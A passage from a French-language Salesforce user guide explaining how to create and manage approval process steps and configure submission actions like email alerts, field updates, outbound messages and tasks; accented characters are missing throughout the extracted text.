Rappeler la demande d'approbation dans la liste associe Historique des approbations de la page de dtails des
enregistrements soumis. Sinon, seuls les administrateurs peuvent l'utiliser. Lorsque un utilisateur clique sur Rappeler la
demande d'approbation, la demande d'approbation en cours pour l'enregistrement est retire et des actions de rappel sont
excutes. Pour plus d'informations, reportez-vous Actions de rappel la page 808.
Cette option est utile dans les situations qui peuvent changer du ct de l'utilisateur effectuant la soumission lors de l'attente
d'une approbation. Par exemple, une opportunit peut tre perdue aprs avoir t soumise pour approbation par l'utilisateur.
4. Cliquez sur Enregistrer.

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Guide de l'utilisateur | Gestion des processus d'approbation | 784

Activer le processus d'approbation

Activez le processus aprs avoir cr au moins une tape d'approbation pour le processus d'approbation. Reportez-vous
Cration d'tapes d'approbation la page 785.
Pour activer un processus :
1. Cliquez sur Suivant. Si vous modifiez un processus d'approbation existant et ne souhaitez pas apporter de modifications
supplmentaires, cliquez sur Enregistrer pour enregistrer vos modifications.
2. Cliquez sur Activer en regard du processus.

Voir aussi :
Processus d'approbation - Mise en route
Gestion des processus d'approbation
Gestion des tapes d'approbation
Personnalisation des paramtres de workflow et d'approbation
Actions de soumission initiale
Actions d'approbation finale
Actions de refus final
Actions de rappel
Choix des actions d'approbation
Cration d'actions d'approbation
Utilisation du Visualiseur de processus
Observations relatives au processus d'approbation
Exemples de processus d'approbation

Gestion des tapes d'approbation

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour modifier ou supprimer des tapes d'approbation :

Autorisation de personnalisation de l'application

Pour crer des tapes d'approbation :

Afficher la configuration

Les tapes d'approbation attribuent les demandes d'approbation diffrents utilisateurs et dfinissent la chane d'approbation
d'un processus d'approbation particulier. Chaque tape d'approbation indique les attributs qu'un enregistrement doit avoir
afin de passer la l'tape suivante, l'utilisateur charg d'approuver les demandes pour cet enregistrement, et si le dlgu de
l'approbateur est autoris approuver les demandes. La premire tape d'approbation d'un processus dtermine galement
l'action entreprendre si un enregistrement ne passe pas cette tape. Les tapes ultrieures du processus vous permettent en
outre de spcifier ce qui se produit si un approbateur refuse la demande.
Pour grer les tapes d'un processus d'approbation, cliquez sur Crer Personnalisation Workflow & approbations
Processus d'approbation, puis slectionnez le processus d'approbation.
La liste associe tapes d'approbation indique toutes les tapes et actions du processus d'approbation.

Crer

Guide de l'utilisateur | Gestion des processus d'approbation | 785

Si les actions de chaque tape ne sont pas rpertories, cliquez sur Afficher les actions pour afficher les listes associes
Actions d'approbation et Actions de refus. Utilisez ces listes associes pour :
-

Cliquez sur Modifier pour modifier une action. Les changements apports une action affectent tous les processus
d'approbation ou rgles de workflow qui l'utilisent.
Cliquez sur Supprimer pour retirer l'action du processus d'approbation. Cette opration ne supprime pas l'action.
Cliquez sur Ajouter une action existante pour ajouter une action la liste des actions. Reportez-vous Choix des
actions d'approbation la page 814.
Cliquez sur Ajouter une nouvelle action et slectionnez le type adquat afin de crer une action et de l'associer au
processus d'approbation. Reportez-vous Cration d'actions d'approbation la page 815.

Cliquez sur Masquer les actions pour rduire la liste des tapes d'approbation.
Cliquez sur Modifier pour modifier l'tape. Pour plus d'informations sur les attributs d'tape d'approbation, reportez-vous
Cration d'tapes d'approbation la page 785.
Cliquez sur Suppr pour supprimer une tape. Cette option n'est pas disponible lorsque le processus d'approbation est actif.
Cliquez sur Nouvelle tape d'approbation pour crer une tape supplmentaire. Cette option n'est pas disponible lorsque
le processus d'approbation est actif. Reportez-vous Cration d'tapes d'approbation la page 785.

Voir aussi :
Terminologie propre aux processus d'approbation
Processus d'approbation - Mise en route
Utilisation du Visualiseur de processus
Exemples de processus d'approbation
Cration d'tapes d'approbation
Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour crer des tapes d'approbation :

Personnaliser l'application

Les tapes d'approbation attribuent les demandes d'approbation diffrents utilisateurs et dfinissent la chane d'approbation
d'un processus d'approbation particulier. Chaque tape d'approbation indique les attributs qu'un enregistrement doit avoir
afin de passer la l'tape suivante, l'utilisateur charg d'approuver les demandes pour cet enregistrement, et si le dlgu de
l'approbateur est autoris approuver les demandes. La premire tape d'approbation d'un processus dtermine galement
l'action entreprendre si un enregistrement ne passe pas cette tape. Les tapes ultrieures du processus vous permettent en
outre de spcifier ce qui se produit si un approbateur refuse la demande.
Les actions associes une tape d'approbation peuvent tre rutilises dans des rgles de workflow. Pour crer des tapes
d'approbation :
1. Cliquez sur Configuration Crer Workflow & approbations Processus d'approbation et slectionnez le nom
du processus d'approbation.

Crer

Guide de l'utilisateur | Gestion des processus d'approbation | 786

2. Cliquez sur Nouvelle tape d'approbation dans la liste associe tapes d'approbation. Si ce bouton n'est pas disponible,
le processus d'approbation est actif et vous ne pouvez pas ajouter d'tapes supplmentaires. La limite est fixe 15 tapes
d'approbation par processus d'approbation.
3. Saisissez un nom, un nom unique et une description pour cette tape.
Remarque: Saisissez un nom unique qui permet de rfrencer cette tape spcifique du processus d'approbation
dans l'API Force.com. Dans les packages grs, ce nom unique empche les conflits de noms dans les installations
de packages. L'exigence d'un nom unique n'existe que dans un processus d'approbation spcifique. Deux tapes
d'un processus d'approbation peuvent porter le mme nom unique, condition qu'elles soient dfinies pour des
processus d'approbation diffrents. Le champ Nom unique ne peut contenir que des traits de soulignement et des
caractres alphanumriques. Il doit tre unique dans le type d'objet slectionn, commencer par une lettre, ne pas
inclure despace, ne pas se terminer pas un trait de soulignement et ne doit pas contenir deux traits de soulignement
conscutifs.
4. Entrez un numro dterminant l'ordre de l'tape par rapport aux autres tapes du processus d'approbation.
5. Cliquez sur Suivant.
6. Si seuls les enregistrements possdant certains attributs doivent tre intgrs cette tape, slectionnez Effectuez cette
tape si les et choisissez l'une des options suivantes :

Slectionnez critres suivants sont remplis et dfinissez les critres de filtre qu'un enregistrement devra
respecter pour tre intgr cette tape. Par exemple, si cette tape doit uniquement s'appliquer aux enregistrements
soumis par les employs du sige social, saisissez les critres de filtre suivants : Utilisateur actuel : Bureau
gal Sige social. Pour plus d'informations sur l'utilisation des critres de filtrage, reportez-vous Saisie des
critres de filtre la page 1736.
Slectionnez l'valuation de la formule est positive et saisissez une formule renvoyant la valeur true
(vrai) ou false (faux). Les enregistrements ne sont intgrs cette tape que si la formule renvoie true (vrai). Par
exemple, utilisez la formule suivante pour demander l'intgration d'un enregistrement cette tape d'approbation
lorsque le pourcentage de remise de l'enregistrement est suprieur au seuil de remise de l'approbateur le plus rcent :
(Discount_Percentage__c > $User.Discount_Threshold__c)

Pour plus d'informations sur l'utilisation de formules, reportez-vous laboration de formules la page 428. Certaines
fonctions ne sont pas disponibles dans les formules d'tape d'approbation. Pour plus d'informations sur les fonctions
utiliser dans les formules d'tape d'approbation, reportez-vous Oprateurs et fonctions la page 475.
7. Si vous avez spcifi des critres de filtre ou une formule, indiquez ce qui arrive aux enregistrements ne rpondant pas aux
critres ou pour lesquels la formule ne renvoie pas la valeur true (vrai).
Remarque: Vous ne pouvez pas modifier votre slection une fois le processus d'approbation activ, mme si vous
dsactivez ce processus.
Options possibles :
Approuver l'enregistrement

Approuve automatiquement la demande et effectue toutes les actions d'approbation finale.

Refuser l'enregistrement

Refuse automatiquement la demande et effectue toutes les actions de refus final. Cette option n'est disponible que
pour la premire tape du processus d'approbation.

Crer

Guide de l'utilisateur | Gestion des processus d'approbation | 787

Passer l'tape suivante

Ignore automatiquement cette tape et passe la suivante.

Important:

L'option Passer l'tape suivante est disponible uniquement lors de la modification d'une tape
ayant dj une tape suivante. Pour slectionner Passer l'tape suivante, crez une tape suivante,
puis slectionnez cette option dans l'tape prcdente.
L'option Passer l'tape suivante n'est pas disponible pour l'tape finale du processus d'approbation.
Si vous slectionnez Passer l'tape suivante dans une tape et que vous supprimez toutes les tapes
suivantes, Salesforce.com modifie l'tape pour refuser l'enregistrement automatiquement si les critres
de l'tape ne sont pas remplis.
Si vous slectionnez Passer l'tape suivante dans la premire tape et que l'enregistrement ne
remplit les critres pour aucune des tapes du processus d'approbation, l'enregistrement est refus.

8. Cliquez sur Suivant.

9. Spcifiez qui doit approuver les demandes d'approbation qui accdent cette tape. Options possibles :
Laissez le soumissionnaire choisir l'approbateur manuellement.

Invite l'utilisateur slectionner manuellement le prochain approbateur.

Attribuer automatiquement l'aide du champ utilisateur slectionn prcdemment.

Attribue la demande d'approbation l'utilisateur dans le champ personnalis qui s'affiche en regard de cette option.
Ce champ personnalis a t slectionn au cours de la configuration du processus d'approbation. Reportez-vous
Cration de processus d'approbation la page 780.
Attribuer automatiquement une file d'attente.

Affecte la demande d'approbation une file d'attente particulire. Les files d'attente ne sont disponibles que pour
certains objets. Pour plus d'informations sur les files d'attente, reportez-vous Gestion des files d'attente la page
139. Pour plus d'informations sur les demandes d'approbation attribues aux files d'attente, reportez-vous Observations
relatives au processus d'approbation la page 777.
Affecter automatiquement des approbateurs.

Affecte la demande d'approbation un ou plusieurs des lments suivants :

Utilisateur

Contient tous les utilisateurs Salesforce.com de votre organisation.

Utilisateur associ

Un utilisateur spcifi dans tout champ de recherche d'utilisateur de l'enregistrement soumis, par exemple le
champ Dernire modification par.
Utilisez les options Ajouter une ligne et Supprimer une ligne pour modifier le nombre des approbateurs.
La limite est fixe 25 approbateurs par tape.
Important: Lorsque vous spcifiez qui doit approuver les demandes lors d'une tape d'approbation, notez les
points suivants :

Veillez ce que l'approbateur assign dispose d'un accs en lecture aux enregistrements de la demande
d'approbation. Par exemple, un utilisateur qui ne dispose pas d'un accs en lecture un objet personnalis
Dpenses ne pourra pas afficher les demandes d'approbation relatives aux dpenses.

Crer

Guide de l'utilisateur | Gestion des processus d'approbation | 788

Vous ne pouvez pas affecter des demandes d'approbation des utilisateurs partenaires.
Vous ne pouvez pas utiliser de rponse d'approbation par e-mail avec un processus d'approbation dans lequel
l'approbateur assign est une file d'attente.
Vous pouvez attribuer une demande d'approbation au mme utilisateur plusieurs fois au cours d'une mme
tape ; toutefois, Salesforce.com reconnat de telles redondances et demande une seule approbation l'utilisateur.
Une fois qu'un enregistrement passe en phase d'approbation, les approbateurs dsigns pour cette tape ne
changent pas mme si le processus d'approbation retourne sur cette tape et que les valeurs des champs
d'utilisateur associs qui dsignent les approbateurs ont t modifies. Envisageons par exemple un processus
d'approbation dans lequel la premire tape requiert l'approbation du responsable de l'utilisateur. Si la demande
d'approbation est rejete la deuxime tape et renvoye la premire tape, le responsable d'origine de
l'utilisateur reoit nouveau la demande d'approbation mme si le responsable de l'utilisateur a chang.

10. Si vous spcifiez plusieurs approbateurs dans l'option Affecter automatiquement des approbateurs, choisissez
l'un des lments suivants :
Approuvez ou rejetez en fonction de la premire rponse.
La premire rponse la demande d'approbation dtermine si l'enregistrement est approuv ou rejet.
Ncessite l'approbation unanime de tous les approbateurs slectionns.
L'enregistrement n'est approuv que si tous les approbateurs approuvent la demande. La demande d'approbation est
rejete si l'un des approbateurs la rejette.
11. Vous pouvez aussi slectionner Le dlgu de l'approbateur peut galement approuver cette demande.
Le dlgu est l'utilisateur rpertori dans le champ Approbateur dlgu de la page de dtails des utilisateurs de
l'approbateur attribu. Les approbateurs dlgus ne peuvent pas rattribuer des demandes d'approbation ; ils ne peuvent
qu'approuver ou rejeter les demandes d'approbation.
12. S'il ne s'agit pas de la premire tape du processus d'approbation, prcisez ce qui doit se produire si l'approbateur refuse
une demande :
Effectuer toutes les actions de refus pour cette tape...

Refuse automatiquement et dfinitivement la demande, mme si les tapes prcdentes ont t approuves.
Salesforce.com effectue toutes les actions de refus spcifies pour l'tape et toutes les actions de refus final.
Effectuer UNIQUEMENT les actions de refus pour cette tape...

Refuse automatiquement la demande et renvoie la demande d'approbation l'approbateur prcdent. Salesforce.com

excute toutes les actions de refus spcifies pour cette tape.
Remarque: S'il s'agit de la premire tape du processus d'approbation, le comportement de refus est dtermin
par les actions de refus final du processus d'approbation.
13. Cliquez sur Enregistrer.
14. Spcifiez toutes les actions de workflow devant survenir au cours de cette tape :
Oui, je voudrais crer maintenant une action d'approbation...
Slectionnez le type d'action et cliquez sur Go! pour commencer crer une action et l'associer cette tape
d'approbation.
Oui, je voudrais crer maintenant une action de refus...
Slectionnez le type d'action et cliquez sur OK pour commencer crer une action et l'associer cette tape
d'approbation.

Crer

Guide de l'utilisateur | Gestion des processus d'approbation | 789

Non, je le ferai ultrieurement...

Slectionnez cette option et cliquez sur Go! pour afficher les dtails du processus d'approbation.
Les actions d'approbation sont appliques lorsqu'un enregistrement figurant dans cette tape du processus d'approbation
est approuv. Les actions de refus sont appliques lorsqu'un enregistrement figurant dans cette tape est refus. Pour obtenir
des instructions sur l'ajout d'actions, reportez-vous Choix des actions d'approbation la page 814 et Cration d'actions
d'approbation la page 815.
15. Si vous le souhaitez, ajoutez l'tape des actions d'approbation et de refus supplmentaires. Cliquez sur Afficher les actions
en regard d'une tape pour afficher les listes associes Actions d'approbation et Actions de refus.

Voir aussi :
Terminologie propre aux processus d'approbation
Processus d'approbation - Mise en route
Gestion des tapes d'approbation
Gestion des processus d'approbation
Utilisation du Visualiseur de processus
Exemples de processus d'approbation

Actions de soumission initiale

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour crer ou modifier des actions de soumission initiale :

Personnaliser l'application

Les actions de soumission initiale sont des actions se produisant lorsqu'un utilisateur soumet pour la premire fois un
enregistrement pour approbation. Par dfaut, une action pour verrouiller l'enregistrement est excute automatiquement lors
de la soumission initiale. Les actions de soumission initiale peuvent inclure toutes les actions d'approbation comme les alertes
e-mail, les mises jour de champ, les tches ou les messages sortants. Par exemple, une action de soumission initiale peut
mettre jour un champ de statut d'approbation personnalis avec en cours.
Lorsqu'un utilisateur soumet un enregistrement pour approbation, Salesforce.com envoie un e-mail de demande d'approbation
l'approbateur comme le dfinit l'tape d'approbation et excute ensuite une action de soumission initiale appele verrou
d'enregistrement. Vous pouvez slectionner jusqu' 40 actions supplmentaires appliquer lorsqu'un enregistrement est soumis
pour approbation pour la premire fois, soit 10 actions de chacun des types suivants :
Type

Description

Tche

Attribue une tche l'utilisateur que vous spcifiez. Vous pouvez spcifier l'objet, le statut,
la priorit et l'chance de la tche.

Alerte par e-mail

Utilise le modle spcifi pour envoyer un e-mail un destinataire dsign.

Mise jour du champ

Modifie la valeur d'un champ slectionn. Vous pouvez spcifier une valeur ou crer une
formule pour la nouvelle valeur.

Crer

Guide de l'utilisateur | Gestion des processus d'approbation | 790

Type

Description

Message sortant

Envoie un message une adresse que vous dsignez. Vous pouvez galement spcifier un nom
d'utilisateur et les donnes inclure dans le message.

Pour grer les actions de soumission initiale d'un processus d'approbation, cliquez sur Configuration Crer Workflow
& approbations Processus d'approbation et slectionnez le processus d'approbation.
La liste associe des actions de soumission initiale affiche toutes les actions qui ont lieu lorsqu'un enregistrement est soumis
pour approbation.

Cliquez sur Modifier pour modifier une action. Les changements apports une action affectent tous les processus
d'approbation ou rgles de workflow qui l'utilisent.
Cliquez sur Supprimer pour retirer l'action du processus d'approbation. Cette opration ne supprime pas l'action.
Cliquez sur Ajouter une action existante pour ajouter une action la liste des actions. Reportez-vous Choix des actions
d'approbation la page 814.
Cliquez sur Ajouter une nouvelle action et slectionnez le type adquat afin de crer une action et de l'associer au processus
d'approbation. Configurez ensuite l'action :
Pour les alertes par e-mail :
1. Saisissez la description de cette alerte par e-mail.
2. Saisissez un nom unique pour rfrencer ce document dans l'API Force.com et viter les conflits de nommage
dans les installations de packages grs. L'exigence de nom unique existe uniquement dans le type d'objet
slectionn. Vous pouvez avoir des actions de mme type (par exemple, deux alertes d'e-mail) portant le mme
nom, condition qu'elles soient dfinies pour des objets diffrents, par exemple une pour des campagnes ou l'autre
pour des opportunits. Le champ Nom unique ne peut contenir que des traits de soulignement et des caractres
alphanumriques. Il doit tre unique dans le type d'objet slectionn, commencer par une lettre, ne pas inclure
despace, ne pas se terminer pas un trait de soulignement et ne doit pas contenir deux traits de soulignement
conscutifs.
3. S'il est disponible, choisissez l'objet pour cette alerte par e-mail.
Salesforce.com utilise cet objet lors de la gnration de valeurs de champ de fusion pour les modles d'e-mail avec
des rgles de workflow et des processus d'approbation. Vous pouvez galement dfinir les destinataires de cette
alerte par e-mail en utilisant les champs de recherche de contact et d'utilisateur qui sont appropris pour cet objet.
Par exemple, si vous slectionnez Contrat, vous pouvez dfinir le signataire du contrat comme destinataire. Cet
objet est en lecture seule si la nouvelle alerte par e-mail est associe un processus d'approbation ou une rgle
de workflow pour un objet particulier.
Conseil: Pour crer des rgles de workflow de sorte que les commentaires ajouts aux requtes envoient
des alertes par e-mail lors du dclenchement d'une rgle, slectionnez Commentaire de requte dans la
liste droulante Objet en crant une rgle de workflow.
4. Slectionnez un modle de message.
Remarque: Si le modle d'email que vous choisissez contient des champs de fusion d'approbations
nomms {!ApprovalRequest.field_name}, ces champs renvoient des valeurs uniquement lorsque
ce modle d'e-mail est utilis en tant que modle d'attribution des approbations. Si vous utilisez le modle
pour toute autre action d'alerte d'email, que ce soit dans les rgles de workflow ou dans les processus
d'approbation, les champs de fusion renverront une valeur nulle.

Crer

Guide de l'utilisateur | Gestion des processus d'approbation | 791

5. Activez la case Composant protg pour marquer l'alerte comme protge.

6. Slectionnez le type de destinataire qui vous souhaitez envoyer cette alerte par e-mail. Options possibles :
-

Responsable du compteL'utilisateur rpertori comme propritaire du compte lui-mme ou du compte

associ l'enregistrement. Cette option fonctionne seulement pour les alertes d'e-mail sur les comptes, les
opportunits, les requtes, les contacts, les contrats et tout objet personnalis qui est un enfant de l'objet
compte. De plus, un responsable de compte doit tre spcifi pour le compte associ. Si vous slectionnez un
autre type d'objet ou si le compte associ ne possde pas de responsable, Salesforce.com envoie l'alerte e-mail
au responsable de l'enregistrement.
quipe de comptesTous les utilisateurs attribus a un rle particulier d'quipe de comptes.
quipe de requtesTous les utilisateurs attribus a un rle particulier d'quipe de requtes.
CrateurL'utilisateur ayant cr l'enregistrement.
Utilisateur du portail clientTous les utilisateurs associs un portail client.
Champ d'adresse e-mailUn champ d'une adresse e-mail dans l'objet slectionn, par exemple, le
champ Adresse e-mail dans les enregistrements de piste ou les champs d'e-mail personnaliss.
Remarque: Lors de la cration d'alertes par e-mail pour des membres de campagne, le champ E-mail
fait rfrence au champ e-mail de la piste ou du contact sur lequel le membre de campagne est bas.

ResponsableLe responsable de l'enregistrement.

Utilisateur partenaire : tous les utilisateurs associs un portail partenaire.
Rle de portailTous les utilisateurs attribus a un rle particulier de portail.
Subordonns et Rles du PortailTous les utilisateurs attribus un rle particulier de portail plus

tous les utilisateurs dont les rles sont infrieurs celui-l.

Groupes publicsLes utilisateurs d'un groupe public particulier.
Contact associUn contact associ dans l'enregistrement. Par exemple, vous pouvez slectionner le
champ Signataire (client) pour les contrats contenant le nom du contact ayant sign.
Utilisateur associUn utilisateur associ dans l'enregistrement. Par exemple, les enregistrements de
contrat sont dots d'un champ Activ par qui contient le nom de l'utilisateur ayant activ le contrat.
RleTous les utilisateurs auxquels un rle particulier a t attribu.
Rle et subordonns internes : tous les utilisateurs ayant un rle particulier, plus tous les utilisateurs
dont les rles sont infrieurs, l'exclusion des utilisateurs du portail partenaire et du portail client.
Rle et subordonns Tous les utilisateurs ayant un rle particulier, plus tous les utilisateurs dont les
rles sont infrieurs celui-l.
UtilisateursUn utilisateur particulier.
quipe de venteUn membre de l'quipe des ventes.
Remarque: L'option Equipe vente est toujours disponible ; toutefois, elle ne fonctionne que pour
les alertes d'e-mail configures pour les opportunits. Elle ne fonctionne pas avec les alertes par e-mail
configures pour des objets enfant d'opportunits.

Les destinataires correspondant vos rsultats de recherche apparaissent dans la liste Destinataires disponibles.
7. Slectionnez les destinataires qui vous souhaitez envoyer cette alerte par e-mail dans la liste Destinataires
disponibles et cliquez sur Ajouter pour les ajouter la liste Destinataires slectionns.

Crer

Guide de l'utilisateur | Gestion des processus d'approbation | 792

Remarque: Si vous modifiez les objets aprs avoir slectionn des destinataires, Salesforce.com efface la
liste Destinataires slectionns.
8. Vous pouvez galement entrer jusqu' cinq adresses e-mail supplmentaires.
9. Vous pouvez galement remplacer Adresse e-mail de l'expditeur par une adresse l'chelle de
l'organisation dj configure et vrifie. Vous pouvez ainsi utiliser l'adresse e-mail globale standard de votre
organisation (telle que support@societe.com) la place du champ par dfaut De, qui correspond l'adresse
e-mail de la personne qui met jour l'enregistrement.
Seules les adresses e-mail l'chelle de l'organisation vrifies s'affichent dans la liste de slection Adresse
e-mail de l'expditeur.
Remarque: Si vous slectionnez Slectionner comme Adresse e-mail de l'expditeur par dfaut pour
les alertes par e-mail de cet objet, l'Adresse e-mail de l'expditeur est remplace dans toutes
les alertes par e-mail associes cet objet. Lors de l'enregistrement, une bote de dialogue vous invite
confirmer votre slection. Vous pouvez toutefois personnaliser les alertes par e-mail individuelles afin
d'utiliser une autre Adresse e-mail de l'expditeur.
10. Cliquez sur Enregistrer.
Pour les mises jour de champ :
1. Saisissez un nom pour la mise jour de ce champ.
2. Saisissez un nom unique pour rfrencer ce document dans l'API Force.com et viter les conflits de nommage
dans les installations de packages grs. L'exigence de nom unique existe uniquement dans le type d'objet
slectionn. Vous pouvez avoir des actions de mme type (par exemple, deux alertes d'e-mail) portant le mme
nom, condition qu'elles soient dfinies pour des objets diffrents, par exemple une pour des campagnes ou l'autre
pour des opportunits. Le champ Nom unique ne peut contenir que des traits de soulignement et des caractres
alphanumriques. Il doit tre unique dans le type d'objet slectionn, commencer par une lettre, ne pas inclure
despace, ne pas se terminer pas un trait de soulignement et ne doit pas contenir deux traits de soulignement
conscutifs.
3. Saisissez une description pour la mise jour de ce champ.
4. Dfinissez la mise jour du champ, en incluant l'objet associ la rgle de workflow ou au processus d'approbation,
le champ mettre jour, et la valeur appliquer. Notez que le champ mettre jour peut se trouver dans un
objet associ dans une relation principal-dtails. Les champs sont affichs uniquement pour l'objet cible slectionn.
Conseil: Pour crer des rgles de workflow pour des commentaires de requte ou des messages e-mails
qui envoient automatiquement une mise jour des champs dans les requtes associes, slectionnez
Commentaires de requte ou Email dans la liste droulante Objet lors de la cration d'une nouvelle rgle
de workflow et slectionnez Requte dans le champ Champ mettre jour. E-mail vers requte
ou E-mail vers requte la demande doit tre activ pour que votre organisation puisse utiliser des E-mails
dans une rgle de workflow.
Lorsque les requtes sont mises jour par une rgle de workflow dclenche par un e-mail, cette requte
mise jour peut dclencher :
-

Rgles de workflow
Rgles de validation
Mises jour des champs rcapitulatifs de cumul
Rgles de hirarchisation

Crer

Guide de l'utilisateur | Gestion des processus d'approbation | 793

Dclencheur Apex

La requte mise jour ne peut pas dclencher :

-

Rgles d'attribution
Rgles de rponse automatique

5. Cochez la case Composant protg pour marquer la mise jour du champ comme tant protge. Pour plus
d'informations, reportez-vous Composants protgs la page 845.
6. Spcifiez la nouvelle valeur de champ. Les options disponibles dpendent du type de champ que vous mettez
jour. Vous pouvez:
-

Slectionnez Une valeur spcifique et entrez la valeur dans l'espace prvu cet effet.
Slectionnez Une valeur vide (nulle) pour que Salesforce.com supprime toute valeur existante et laisse
le champ vide. Cette option n'est pas disponible pour les champs, cases cocher et certains autres types de
champs requis.
Pour les responsables d'enregistrement, slectionnez l'utilisateur auquel l'enregistrement doit tre attribu.
Pour les enregistrements de requte, de piste et d'objet personnalis, vous pouvez galement choisir une file
d'attente pour ce champ. Slectionnez ventuellement Notifier le bnficiaire pour envoyer un
e-mail au nouveau responsable de l'enregistrement.
Pour les cases cocher, choisissez Vrai pour slectionner la case et Faux pour la dslectionner.
Pour les listes de slection, slectionnez une valeur spcifique dans la liste droulante, ou celle situe au-dessus
ou au-dessous de la valeur actuelle selon le tri spcifi dans la dfinition de la liste de slection. Si vous triez
les valeurs par ordre alphabtique, les valeurs situes au-dessus ou au-dessous peuvent diffrer en fonction de
la langue de l'utilisateur.
Slectionnez Utiliser une formule pour dfinir la nouvelle valeur pour calculer la valeur
en fonction d'une expression, de champs de fusion ou d'autres valeurs.
a. Si vous laborez une formule dans l'onglet Formule avance pour des approbations ou des rgles, telles
qu'un workflow, une validation, une attribution, une rponse automatique ou une hirarchisation, cliquez
sur Insrer un champ, choisissez un champ, puis cliquez sur Insrer.
Pour crer une formule de base qui transmet des donnes Salesforce.com spcifiques, slectionnez l'onglet
Formule simple, choisissez le type de champ dans la liste droulante Slectionner un type de
champ, puis l'un des champs de la liste droulante Insrer un champ.
Conseil: Les formules inter-objets gnres s'tendent des objets associs et rfrencent des champs
de fusion dans ces objets.
b. Pour insrer des champs de fusion de requte dont l'e-mail met jour des champs de requtes associs,
cliquez sur Insrer un champ dans la section Critres de la rgle et slectionnez E-mail > Requte parent.
c. Pour insrer un oprateur, slectionnez l'icne d'oprateur approprie dans la liste droulante Insrer
un oprateur. Utilisez les exemples de la section Oprateurs et fonctions la page 475.
d. Vous pouvez galement insrer une fonction partir de la liste Fonctions. Ces fonctions sont des formules
dj intgres que vous pouvez ensuite personnaliser avec vos paramtres d'entre. Pour une description
de chaque oprateur/fonction, reportez-vous la section Oprateurs et fonctions la page 475.

7. Cliquez sur Enregistrer.

Crer

Guide de l'utilisateur | Gestion des processus d'approbation | 794

Pour les messages sortants :

1. Saisissez un nom pour ce message sortant.
2. Saisissez un nom unique pour rfrencer ce document dans l'API Force.com et viter les conflits de nommage
dans les installations de packages grs. L'exigence de nom unique existe uniquement dans le type d'objet
slectionn. Vous pouvez avoir des actions de mme type (par exemple, deux alertes d'e-mail) portant le mme
nom, condition qu'elles soient dfinies pour des objets diffrents, par exemple une pour des campagnes ou l'autre
pour des opportunits. Le champ Nom unique ne peut contenir que des traits de soulignement et des caractres
alphanumriques. Il doit tre unique dans le type d'objet slectionn, commencer par une lettre, ne pas inclure
despace, ne pas se terminer pas un trait de soulignement et ne doit pas contenir deux traits de soulignement
conscutifs.
3. Saisissez une description pour ce message sortant.
4. Entrez une URL de point limite pour le destinataire du message. Salesforce.com envoie un message SOAP ce
point limite.
5. Slectionnez l'utilisateur Salesforce.com utiliser lors de l'envoi du message. L'utilisateur slectionn contrle la
visibilit des donnes pour le message envoy au point limite.
6. Cochez la case Composant protg pour marquer le message sortant comme tant protg. Pour plus
d'informations, reportez-vous Composants protgs la page 845.
7. Slectionnez Envoyer l'ID de session afin d'inclure l'ID de session Salesforce.com au message sortant.
Incluez l'ID de session dans votre message si vous avez l'intention d'effectuer des appels API et que vous ne
souhaitez inclure ni nom d'utilisateur ni mot de passe. L'envoi d'un nom d'utilisateur et d'un mot de passe est
moins sr que l'envoi d'un ID de session.
8. Slectionnez Ajouter les checs la liste associe des messages sortants chous si
vous souhaitez que ce message soit dplac dans la liste associe des messages sortants chous l'issue de toutes
les tentatives. Si vous ne voyez pas cette option, cela signifie que les notifications de messages sortants chous
n'ont pas t actives pour votre entreprise. Contactez votre reprsentant salesforce.com.
9. Slectionnez les champs inclure dans le message sortant et cliquez sur Ajouter.
Pour des tches :
1. Slectionnez un bnficiaire. Selon le type d'enregistrement choisi, le bnficiaire peut tre un utilisateur, un rle,
un responsable d'enregistrement, un crateur d'enregistrement, un rle dans l'quipe de vente ou dans l'quipe
de comptes.
Remarque:
-

Si le bnficiaire d'une tche est le responsable de l'enregistrement et que le responsable d'une piste
ou d'une requte est une file d'attente, la personne ayant dclench la rgle devient le bnficiaire de
la tche.
Si l'objet est traduit, Salesforce.com cre une tche dans la langue du bnficiaire. Si l'objet est traduit
et que vous avec activ Notifier le bnficiaire pour la tche, Salesforce.com envoie l'e-mail dans la
langue du bnficiaire. Cependant, si seul le champ des commentaires est traduit, Salesforce.com cre
une tche et envoie l'e-mail dans la langue de l'utilisateur ayant dclench la tche.
Si un objet personnalis a une relation principal-dtails avec un objet standard, le responsable de
l'enregistrement de l'objet standard principal devient automatiquement responsable de l'enregistrement
de l'objet personnalis. Par exemple, si un objet personnalis nomm Dpenses a une relation
principal-dtails avec un objet Comptes, le responsable de chaque enregistrement de dpense est
galement responsable du compte de la dpense.

Crer

Guide de l'utilisateur | Gestion des processus d'approbation | 795

De mme, si le bnficiaire d'une tche de workflow est un rle possdant plusieurs utilisateurs, la
personne ayant dclench la rgle devient le bnficiaire de la tche, quel que soit son rle. Il est
recommand de ne pas attribuer de tches aux rles possdant plusieurs utilisateurs. L'attribution de
tches aux rles possdant un utilisateur permet de modifier facilement l'utilisateur de ce rle sans
modifier la rgle de workflow.

2. Entrez l'objet de la tche.

3. Saisissez un nom unique pour rfrencer ce document dans l'API Force.com et viter les conflits de nommage
dans les installations de packages grs. L'exigence de nom unique existe uniquement dans le type d'objet
slectionn. Vous pouvez avoir des actions de mme type (par exemple, deux alertes d'e-mail) portant le mme
nom, condition qu'elles soient dfinies pour des objets diffrents, par exemple une pour des campagnes ou l'autre
pour des opportunits. Le champ Nom unique ne peut contenir que des traits de soulignement et des caractres
alphanumriques. Il doit tre unique dans le type d'objet slectionn, commencer par une lettre, ne pas inclure
despace, ne pas se terminer pas un trait de soulignement et ne doit pas contenir deux traits de soulignement
conscutifs.
4. Choisissez une chance, un statut et une priorit. Les chances sont indiques dans le fuseau horaire du
bnficiaire.
5. Cochez la case Notifier le bnficiaire pour envoyer une notification par e-mail lorsque la tche est
attribue.
6. Cochez la case Composant protg pour marquer la tche comme tant protge. Pour plus d'informations,
reportez-vous Composants protgs la page 845.
7. Entrez des commentaires associer la tche.
8. Cliquez sur Enregistrer.

Voir aussi :
Terminologie propre aux processus d'approbation
Processus d'approbation - Mise en route
Gestion des tapes d'approbation
Gestion des processus d'approbation
Utilisation du Visualiseur de processus

Actions d'approbation finale

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour crer ou modifier des actions d'approbation finale :

Personnaliser l'application

Les actions d'approbation finale ont lieu lorsque toutes les approbations requises ont t donnes pour un enregistrement. Les
